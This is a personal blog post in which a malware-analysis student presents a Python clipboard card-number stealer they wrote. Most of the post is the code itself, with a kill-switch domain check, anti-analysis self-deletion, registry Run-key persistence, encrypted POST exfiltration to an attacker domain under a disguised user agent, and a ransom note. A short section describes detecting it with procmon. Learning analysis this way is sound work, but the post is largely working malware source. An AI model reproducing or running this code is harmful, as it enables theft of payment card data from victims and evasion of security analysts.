Over the past couple of months I have dived deep into malware analysis and reverse engineering. Completing the PMAT course and enrolling in the eCMAP course, I decided to take things further and practice writing malicious scripts in python. Combining the different techniques and tactics threat actors use that I have observed in order to help me better understand the behaviour and objectives of malware.
I have started relatively simple by creating an application that steals bank card details copied to your clipboard whilst also implementing a persistence mechanism and a number of kill switches which trigger under different conditions. The full code for this project can be found here on my GitHub!
Malware development and overview
The first thing the program will do is check if it is connected to the internet by sending a GET request to an attacker controlled domain. The request response object is saved in the variable kill_switch. If the program is unable to send a request and call out to the domain I noticed that this errored out and I wanted to catch this error. In the event that there is no internet connection or the domain has been taken down the malware will then run the self_delete() function and will delete itself from the system.
try:
kill_switch = requests.get('https://manrajbansal.com')
except:
print("The kill switch domain is not alive, exit")
self_delete()
If the script can successfully call out to the attackers domain it will then first call the is_app_installed() function to start with some local enumeration of what programs are installed on the computer.
if kill_switch.status_code == 200:
is_app_installed()
add_to_startup()
clipboard_stealer()
else:
exit_function()
The below code snippet shows the functionality is_app_installed() function. First a custom list is created which contains installation paths of common analysis applications. I have only added a few for proof of concept.
AnalysisApplications = ["C:\Program Files\Wireshark\", "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\FLARE", "C:\Program Files\Process Hacker 2", "C:\Program Files\x64dbg" ]
Then the program takes the paths from the list and checks if these are valid paths on the targets system. If any of the paths are valid, chances are that the malware has ended up in an analysts test environment. In which case the self_delete() function is called and deletes its self from the machine.
for application in AnalysisApplications:
if os.path.exists(application) == True:
print("Analysis application installation found now we exit")
exit_function()
self_delete()
else:
a="1"
As soon as the above function exits the next function is called which is add_to_startup(). This function will attempt to identify the full path and file name of the python script and will then open a handle to the HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run registry key and will add itself as an entry. This will mean that whenever the computer restarts, the python script will automatically start. If this method of persistence fails, the program will exit.
try:
print("script added to startup")
file_path = os.path.dirname(os.path.realpath(__file__))
file_name = sys.argv[0]
complete_address = os.path.join(file_path, file_name)
key = reg.HKEY_CURRENT_USER
key_value = "Software\Microsoft\Windows\CurrentVersion\Run"
open = reg.OpenKey(key, key_value, 0, reg.KEY_ALL_ACCESS)
reg.SetValueEx(open, "definitely not persistence", 0, reg.REG_SZ, complete_address)
reg.CloseKey(open)
except:
print("persistence failed")
exit_function()
Provided that the above function succeeds, the next function to be called is clipboard_stealer() and this is the main function of the program, a number of things occur in this function. Firstly the program will try and get access to the clipboard and save the contents of which to the variable card_number.
win32clipboard.OpenClipboard()
clipboard_data = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
card_number = str(clipboard_data)
Next the program will compare the contents of the clipboard (card_number) to the following regular expression (?:[0-9]{4}-){3}[0-9]{4}|[0-9]{16}. If it is a match then it is encrypted and saved as a string in encryptedCardNumber.
if re.match(card_pattern, card_number):
print("Looks like that's a card number, let me just steal that :)")
fernet = Fernet(key)
encryptedCardNumber = fernet.encrypt(card_number.encode())
Once the card number is successfully encrypted it is then sent via post to an attacker controlled domain along with the decryption key. A custom user agent is also used here to try and blend in with normal looking traffic on the network. if this fails and the program is unable to POST data to the domain, then the program will exit.
try:
card_number_exfil = requests.post("https://manrajbansal.com", data={'cardnumber': encryptedCardNumber, 'EncryptionKey': key}, headers=headers)
except:
print("Attacker domain is not alive. Post failed, no credit card details sent. Exit")
exit_function()
If the program can successfully exfiltrate data, I decided to leave a message on the users clipboard to look at the ransom note I created on their desktop. I also decided to set an attribute to the function in order to detect if the function completes successfully.
win32clipboard.OpenClipboard()
win32clipboard.EmptyClipboard()
win32clipboard.SetClipboardText('Youve been PWNED, send bitcoin or we spend your money. Check your desktop for PWNED.txt')
win32clipboard.CloseClipboard()
clipboard_stealer.has_been_called = True
If the contents of the clipboard do not meet the pattern of a card number then the program sleeps for 60 seconds and calls the clipboard_stealer() function again.
else:
time.sleep(60)
clipboard_stealer()
On the condition that the above executes successfully and the card details can be exfiltrated successfully, there is a check to see if the functions' attribute is set to True. If this check succeeds, then the program writes a ransom note to the victims desktop named "PWNED.txt"
if clipboard_stealer.has_been_called == True:
with open('C:\\Users\\Manraj\\Desktop\\PWNED.txt', 'w') as ransome_note:
ransome_note.write('You have been hacked, send bitcoin to our address or we leak your credit card details')
else:
exit_function()
Issues and improvements
Initially when writing this script I noticed two things:
My user agent string was python-requests/2.23.0
The card details were sent in the clear and were easily viewable.
Both of these things made it easy to spot in a network capture and stood out as obviously suspicious.
Custom user agent
To combat this I decided to alter my user agent string to the most common user agent in order to blend in with normal traffic. Now if there was any sort of analysis or detection based on unusual user agents I would be able to evade detection.
Encrypting payloads
Sending a POST request with the key "cardnumber" and a card number in clear text is not stealthy and would raise alarms to anyone monitoring the traffic. I decided to change the key to "secret_data" and also encrypted the card number being sent so the traffic looked more generic and less suspicious.
Detection
Kill switch
I decided to do some very quick dynamic analysis on my python script in my malware analysis environment. If you remember the first few lines of code executed by the program is to check if the attacker controlled domain is alive.
try:
kill_switch = requests.get('https://manrajbansal.com')
except:
print("The kill switch domain is not alive, exit")
self_delete()
The below screenshot displays the first call out to the domain, when we see call outs to a domain by malware such as this, we can assume it is checking if it has an internet connection or is downloading something.
Persistence
The persistence mechanism of this malware is to alter the HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run registry key and add itself to it so that when the machine restarts the program will start. Below we can see in procmon that a registry key value was set and the process name was Python.exe. This may not always be suspicious but given the registry key we altered and the name I gave it, this is definitely suspicious.
Checking Registry editor, we can see the entry made by our python malware.
Clipboard
The main function of this malware was to access the clipboard and steal card details. In procmon below we can see evidence that the win32clipboard library was used which would give an analyst an indication that this malware modifies the clipboard in some way.
Tactics and techniques employed
For my first malicious program, albeit it does not do much. This was a fun and very informative experience into learning about how malware operates. Some key techniques and tactics I employed in this malware are:
Accessing the clipboard
Data encryption and exfiltration
Custom user agent to blend in with network traffic
Kill switch based on domain presence
Kill switch if analysis tools are present on the machine
Persistence by altering the start up registry key
I will be writing more malware samples in the future and maybe in other popular languages used by current malware authors. For now I hope this was informative and you enjoyed reading this as much as I enjoyed writing this script. This definitely helped me better understand how a malware author thinks and hopefully will help me become a better analyst.
Comments